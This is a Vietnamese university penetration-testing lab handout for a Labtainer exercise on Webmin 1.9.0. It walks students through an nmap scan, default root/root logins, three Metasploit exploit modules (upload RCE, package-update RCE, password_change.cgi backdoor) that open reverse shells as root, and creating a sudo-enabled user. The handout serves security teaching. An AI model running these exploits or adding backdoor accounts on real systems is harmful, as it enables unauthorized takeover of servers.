Tìm hiểu và khai thác công cụ Webmin

1. **Mục đích**

Hiểu cách thức hoạt động của Webmin và các tính năng quản lý hệ thống qua giao diện web. Xác định và khai thác các lỗ hổng bảo mật tiềm ẩn trong công cụ Webmin.

2. **Yêu cầu đối với sinh viên**

Có kiến thức cơ bản về hệ điều hành Linux, công cụ Webmin, công cụ Metasploit.

3. **Nội dung thực hành**

Khởi động bài lab:

Vào terminal, gõ:

labtainer -r pen_tool_webmin

(chú ý: sinh viên sử dụng mã sinh viên của mình để nhập thông tin email người thực hiện bài lab khi có yêu cầu, để sử dụng khi chấm điểm)

Sau khi khởi động xong hai terminal ảo sẽ xuất hiện, một cái là đại diện cho máy tấn công: **attack**, một cái là đại diện cho máy nạn nhân: **server**.

Máy **attack** thực hiện quét cổng và dịch vụ của máy **server** bằng công cụ nmap:

sudo nmap -sS -sV <Ip server>

Trên máy **server** để sử dụng và hiểu về công cụ cấu hình hệ thống Webmin, sinh viên sử dụng câu lệnh:

firefox https://<IP server>:10000/

Với username là root và password là root

Giao diện dashboard hiện ra, thực hiện tìm hiểu các tính năng, chức năng của hệ thống Webmin.

Sinh viên thực hiện khai thác các lỗ hổng với dịch vụ Webmin bằng công cụ Metasploit:

Msfconsole

Task 1: Khai thác các lỗ hổng Webmin để chiếm quyền root

Lỗ hổng này tồn tại trong Webmin phiên bản 1.9.0 – một giao diện quản trị hệ thống dựa trên web thường được sử dụng trên các hệ điều hành Linux.

Sinh viên vào Metasploit, sử dụng module:

use exploit/unix/webapp/webmin_upload_exec

Thực hiện xem, cấu hình module và thực hiện khai thác:

options

set RHOSTS <IP server>

set LHOST <IP attack>

set GUESSUPLOAD true

set USERNAME root

set PASSWORD root

run

Cài đặt các thông số và khai thác thành công lỗ hổng Webmin Upload Authenticated RCE của webmin phiên bản 1.9.0, chiếm được quyền root

Task 2: Khai thác lỗ hổng Webmin Package Updates RCE

Sinh viên sử dụng module:

use exploit/linux/http/webmin_packageup_rce

Thực hiện xem, cấu hình và thực hiện khai thác:

options

set RHOSTS <IP server>

set LHOST <IP attack>

set USERNAME root

set PASSWORD root

set SSL true

run

Cài đặt các thông số và khai thác thành công lỗ hổng Webmin Package Updates Remote Command Execution của webmin phiên bản 1.9.0, chiếm được quyền root.

Task 3: Khai thác backdoor Webmin

Sinh viên sử dụng module:

use exploit/unix/webapp/webmin_backdoor

Sinh viên thực hiện xem, cấu hình module và thực hiện khai thác:

options

set RHOSTS <IP server>

set LHOST <IP attack>

set SSL true

check

run

Cài đặt các thông số và khai thác thành công lỗ hổng Webmin password_change.cgi Backdoor của webmin phiên bản 1.9.0, chiếm được quyền root.

Trong phiên reverse shell đến máy **server**, sinh viên tìm đọc hiểu. file create_flag.py ở các thư mục trong đường dẫn /home/ubuntu và chạy file đó để có thể in ra flag. Hãy làm sao cho có thể in ra 2 flag được code trong file.

sudo python3 create_flags.py

Sinh viên thực hiện tạo một user với tài khoản là user1 và mật khẩu bất kì, cấp quyền root cho user này

sudo useradd <username>

sudo usermod -aG sudo <username>

Kiểm tra kết quả:

Sinh viên thực hiện kiểm tra tiến độ và kiểm tra kết quả bằng câu lệnh:

checkwork

Kết thúc bài lab:

Trên terminal đầu tiên sử dụng câu lệnh sau để kết thúc bài lab:

Stoplab <ten_bai_lab>

Khi bài lab kết thúc, một tệp zip lưu kết quả được tạo và lưu vào một vị trí được hiển thị bên dưới stoplab.

Khởi động lại bài lab:

Trong quá trình làm bài sinh viên cần thực hiện lại bài lab, dùng câu lệnh:

labtainer –r pen_tool_webmin